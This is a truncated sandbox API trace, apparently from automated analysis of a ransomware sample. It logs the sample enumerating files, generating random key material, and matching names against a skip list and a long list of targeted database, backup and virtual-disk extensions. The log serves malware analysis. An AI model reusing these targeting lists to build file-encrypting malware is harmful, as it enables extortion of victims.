RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0090.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0090.213] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0090.214] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.214] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.214] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15d40, lpName=0x0) returned 0x154 [0090.216] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15d40) returned 0x100000 [0090.225] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.226] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.226] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.226] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.227] CloseHandle (hObject=0x154) returned 1 [0090.227] CloseHandle (hObject=0x17c) returned 1 [0090.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0090.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.228] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="..") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="windows") returned -1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="bootmgr") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="temp") returned -1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="pagefile.sys") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="boot") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="ids.txt") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="ntuser.dat") returned 1 [0090.228] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="perflogs") returned 1 [0090.229] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2="MSBuild") returned 1 [0090.229] lstrlenW (lpString="sqlceoledb35.dll") returned 16 [0090.229] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlceoledb35.dll" | out: lpString1="sqlceoledb35.dll") returned="sqlceoledb35.dll" [0090.229] lstrlenW (lpString="sqlceoledb35.dll") returned 16 [0090.229] lstrlenW (lpString="Athena865") returned 9 [0090.229] lstrcmpiW (lpString1="edb35.dll", lpString2="Athena865") returned 1 [0090.229] lstrlenW (lpString=".dll") returned 4 [0090.229] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".dll") returned 1 [0090.229] lstrlenW (lpString=".lnk") returned 4 [0090.229] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".lnk") returned 1 [0090.229] lstrlenW (lpString=".ini") returned 4 [0090.229] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".ini") returned 1 [0090.229] lstrlenW (lpString=".sys") returned 4 [0090.229] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".sys") returned 1 [0090.229] lstrlenW (lpString="sqlceoledb35.dll") returned 16 [0090.229] lstrlenW (lpString="bak") returned 3 [0090.229] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0090.229] lstrlenW (lpString="ba_") returned 3 [0090.229] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0090.229] lstrlenW (lpString="dbb") returned 3 [0090.229] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0090.229] lstrlenW (lpString="vmdk") returned 4 [0090.229] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0090.229] lstrlenW (lpString="rar") returned 3 [0090.229] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0090.229] lstrlenW (lpString="zip") returned 3 [0090.229] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0090.229] lstrlenW (lpString="tgz") returned 3 [0090.229] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0090.229] lstrlenW (lpString="vbox") returned 4 [0090.229] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0090.230] lstrlenW (lpString="vdi") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0090.230] lstrlenW (lpString="vhd") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0090.230] lstrlenW (lpString="vhdx") returned 4 [0090.230] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0090.230] lstrlenW (lpString="avhd") returned 4 [0090.230] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0090.230] lstrlenW (lpString="db") returned 2 [0090.230] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0090.230] lstrlenW (lpString="db2") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0090.230] lstrlenW (lpString="db3") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0090.230] lstrlenW (lpString="dbf") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0090.230] lstrlenW (lpString="mdf") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0090.230] lstrlenW (lpString="mdb") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0090.230] lstrlenW (lpString="sql") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0090.230] lstrlenW (lpString="sqlite") returned 6 [0090.230] lstrcmpiW (lpString1="35.dll", lpString2="sqlite") returned -1 [0090.230] lstrlenW (lpString="sqlite3") returned 7 [0090.230] lstrcmpiW (lpString1="b35.dll", lpString2="sqlite3") returned -1 [0090.230] lstrlenW (lpString="sqlitedb") returned 8 [0090.230] lstrcmpiW (lpString1="db35.dll", lpString2="sqlitedb") returned -1 [0090.230] lstrlenW (lpString="xml") returned 3 [0090.230] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0090.231] lstrlenW (lpString="$er") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0090.231] lstrlenW (lpString="4dd") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0090.231] lstrlenW (lpString="4dl") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0090.231] lstrlenW (lpString="^^^") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0090.231] lstrlenW (lpString="abs") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0090.231] lstrlenW (lpString="abx") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0090.231] lstrlenW (lpString="accdb") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0090.231] lstrlenW (lpString="accdc") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0090.231] lstrlenW (lpString="accde") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0090.231] lstrlenW (lpString="accdr") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0090.231] lstrlenW (lpString="accdt") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0090.231] lstrlenW (lpString="accdw") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0090.231] lstrlenW (lpString="accft") returned 5 [0090.231] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0090.231] lstrlenW (lpString="adb") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.231] lstrlenW (lpString="adb") returned 3 [0090.231] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.231] lstrlenW (lpString="ade") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0090.232] lstrlenW (lpString="adf") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0090.232] lstrlenW (lpString="adn") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0090.232] lstrlenW (lpString="adp") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0090.232] lstrlenW (lpString="alf") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0090.232] lstrlenW (lpString="ask") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0090.232] lstrlenW (lpString="btr") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0090.232] lstrlenW (lpString="cat") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0090.232] lstrlenW (lpString="cdb") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0090.232] lstrlenW (lpString="ckp") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0090.232] lstrlenW (lpString="cma") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0090.232] lstrlenW (lpString="cpd") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0090.232] lstrlenW (lpString="dacpac") returned 6 [0090.232] lstrcmpiW (lpString1="35.dll", lpString2="dacpac") returned -1 [0090.232] lstrlenW (lpString="dad") returned 3 [0090.232] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0090.232] lstrlenW (lpString="dadiagrams") returned 10 [0090.232] lstrcmpiW (lpString1="ledb35.dll", lpString2="dadiagrams") returned 1 [0090.232] lstrlenW (lpString="daschema") returned 8 [0090.233] lstrcmpiW (lpString1="db35.dll", lpString2="daschema") returned 1 [0090.233] lstrlenW (lpString="db-journal") returned 10 [0090.233] lstrcmpiW (lpString1="ledb35.dll", lpString2="db-journal") returned 1 [0090.233] lstrlenW (lpString="db-shm") returned 6 [0090.233] lstrcmpiW (lpString1="35.dll", lpString2="db-shm") returned -1 [0090.233] lstrlenW (lpString="db-wal") returned 6 [0090.233] lstrcmpiW (lpString1="35.dll", lpString2="db-wal") returned -1 [0090.233] lstrlenW (lpString="dbc") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0090.233] lstrlenW (lpString="dbs") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0090.233] lstrlenW (lpString="dbt") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0090.233] lstrlenW (lpString="dbv") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0090.233] lstrlenW (lpString="dbx") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0090.233] lstrlenW (lpString="dcb") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0090.233] lstrlenW (lpString="dct") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0090.233] lstrlenW (lpString="dcx") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0090.233] lstrlenW (lpString="ddl") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0090.233] lstrlenW (lpString="dlis") returned 4 [0090.233] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0090.233] lstrlenW (lpString="dp1") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0090.233] lstrlenW (lpString="dqy") returned 3 [0090.233] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0090.234] lstrlenW (lpString="dsk") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0090.234] lstrlenW (lpString="dsn") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0090.234] lstrlenW (lpString="dtsx") returned 4 [0090.234] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0090.234] lstrlenW (lpString="dxl") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0090.234] lstrlenW (lpString="eco") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0090.234] lstrlenW (lpString="ecx") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0090.234] lstrlenW (lpString="edb") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0090.234] lstrlenW (lpString="epim") returned 4 [0090.234] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0090.234] lstrlenW (lpString="fcd") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0090.234] lstrlenW (lpString="fdb") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0090.234] lstrlenW (lpString="fic") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0090.234] lstrlenW (lpString="flexolibrary") returned 12 [0090.234] lstrcmpiW (lpString1="eoledb35.dll", lpString2="flexolibrary") returned -1 [0090.234] lstrlenW (lpString="fm5") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0090.234] lstrlenW (lpString="fmp") returned 3 [0090.234] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0090.234] lstrlenW (lpString="fmp12") returned 5 [0090.234] lstrcmpiW (lpString1="5.dll", lpString2="fmp12") returned -1 [0090.234] lstrlenW (lpString="fmpsl") returned 5 [0090.234] lstrcmpiW (lpString1="5.dll", lpString2="fmpsl") returned -1 [0090.235] lstrlenW (lpString="fol") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0090.235] lstrlenW (lpString="fp3") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0090.235] lstrlenW (lpString="fp4") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0090.235] lstrlenW (lpString="fp5") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0090.235] lstrlenW (lpString="fp7") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0090.235] lstrlenW (lpString="fpt") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0090.235] lstrlenW (lpString="frm") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0090.235] lstrlenW (lpString="gdb") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.235] lstrlenW (lpString="gdb") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.235] lstrlenW (lpString="grdb") returned 4 [0090.235] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0090.235] lstrlenW (lpString="gwi") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0090.235] lstrlenW (lpString="hdb") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0090.235] lstrlenW (lpString="his") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0090.235] lstrlenW (lpString="ib") returned 2 [0090.235] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0090.235] lstrlenW (lpString="idb") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0090.235] lstrlenW (lpString="ihx") returned 3 [0090.235] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0090.235] lstrlenW (lpString="itdb") returned 4 [0090.236] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0090.236] lstrlenW (lpString="itw") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0090.236] lstrlenW (lpString="jet") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0090.236] lstrlenW (lpString="jtx") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0090.236] lstrlenW (lpString="kdb") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0090.236] lstrlenW (lpString="kexi") returned 4 [0090.236] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0090.236] lstrlenW (lpString="kexic") returned 5 [0090.236] lstrcmpiW (lpString1="5.dll", lpString2="kexic") returned -1 [0090.236] lstrlenW (lpString="kexis") returned 5 [0090.236] lstrcmpiW (lpString1="5.dll", lpString2="kexis") returned -1 [0090.236] lstrlenW (lpString="lgc") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0090.236] lstrlenW (lpString="lwx") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0090.236] lstrlenW (lpString="maf") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0090.236] lstrlenW (lpString="maq") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0090.236] lstrlenW (lpString="mar") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0090.236] lstrlenW (lpString="marshal") returned 7 [0090.236] lstrcmpiW (lpString1="b35.dll", lpString2="marshal") returned -1 [0090.236] lstrlenW (lpString="mas") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0090.236] lstrlenW (lpString="mav") returned 3 [0090.236] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0090.236] lstrlenW (lpString="maw") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0090.237] lstrlenW (lpString="mdbhtml") returned 7 [0090.237] lstrcmpiW (lpString1="b35.dll", lpString2="mdbhtml") returned -1 [0090.237] lstrlenW (lpString="mdn") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0090.237] lstrlenW (lpString="mdt") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0090.237] lstrlenW (lpString="mfd") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0090.237] lstrlenW (lpString="mpd") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0090.237] lstrlenW (lpString="mrg") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0090.237] lstrlenW (lpString="mud") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0090.237] lstrlenW (lpString="mwb") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0090.237] lstrlenW (lpString="myd") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0090.237] lstrlenW (lpString="ndf") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0090.237] lstrlenW (lpString="nnt") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0090.237] lstrlenW (lpString="nrmlib") returned 6 [0090.237] lstrcmpiW (lpString1="35.dll", lpString2="nrmlib") returned -1 [0090.237] lstrlenW (lpString="ns2") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0090.237] lstrlenW (lpString="ns3") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0090.237] lstrlenW (lpString="ns4") returned 3 [0090.237] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0090.237] lstrlenW (lpString="nsf") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0090.238] lstrlenW (lpString="nv") returned 2 [0090.238] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0090.238] lstrlenW (lpString="nv2") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0090.238] lstrlenW (lpString="nwdb") returned 4 [0090.238] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0090.238] lstrlenW (lpString="nyf") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0090.238] lstrlenW (lpString="odb") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.238] lstrlenW (lpString="odb") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.238] lstrlenW (lpString="oqy") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0090.238] lstrlenW (lpString="ora") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0090.238] lstrlenW (lpString="orx") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0090.238] lstrlenW (lpString="owc") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0090.238] lstrlenW (lpString="p96") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0090.238] lstrlenW (lpString="p97") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0090.238] lstrlenW (lpString="pan") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0090.238] lstrlenW (lpString="pdb") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0090.238] lstrlenW (lpString="pdm") returned 3 [0090.238] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0090.238] lstrlenW (lpString="pnz") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0090.239] lstrlenW (lpString="qry") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0090.239] lstrlenW (lpString="qvd") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0090.239] lstrlenW (lpString="rbf") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0090.239] lstrlenW (lpString="rctd") returned 4 [0090.239] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0090.239] lstrlenW (lpString="rod") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0090.239] lstrlenW (lpString="rodx") returned 4 [0090.239] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0090.239] lstrlenW (lpString="rpd") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0090.239] lstrlenW (lpString="rsd") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0090.239] lstrlenW (lpString="sas7bdat") returned 8 [0090.239] lstrcmpiW (lpString1="db35.dll", lpString2="sas7bdat") returned -1 [0090.239] lstrlenW (lpString="sbf") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0090.239] lstrlenW (lpString="scx") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0090.239] lstrlenW (lpString="sdb") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0090.239] lstrlenW (lpString="sdc") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0090.239] lstrlenW (lpString="sdf") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0090.239] lstrlenW (lpString="sis") returned 3 [0090.239] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0090.239] lstrlenW (lpString="spq") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0090.240] lstrlenW (lpString="te") returned 2 [0090.240] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0090.240] lstrlenW (lpString="teacher") returned 7 [0090.240] lstrcmpiW (lpString1="b35.dll", lpString2="teacher") returned -1 [0090.240] lstrlenW (lpString="tmd") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0090.240] lstrlenW (lpString="tps") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0090.240] lstrlenW (lpString="trc") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.240] lstrlenW (lpString="trc") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.240] lstrlenW (lpString="trm") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0090.240] lstrlenW (lpString="udb") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0090.240] lstrlenW (lpString="udl") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0090.240] lstrlenW (lpString="usr") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0090.240] lstrlenW (lpString="v12") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0090.240] lstrlenW (lpString="vis") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0090.240] lstrlenW (lpString="vpd") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0090.240] lstrlenW (lpString="vvv") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0090.240] lstrlenW (lpString="wdb") returned 3 [0090.240] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0090.240] lstrlenW (lpString="wmdb") returned 4 [0090.241] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0090.241] lstrlenW (lpString="wrk") returned 3 [0090.241] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0090.241] lstrlenW (lpString="xdb") returned 3 [0090.241] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0090.241] lstrlenW (lpString="xld") returned 3 [0090.241] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0090.241] lstrlenW (lpString="xmlff") returned 5 [0090.241] lstrcmpiW (lpString1="5.dll", lpString2="xmlff") returned -1 [0090.241] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact 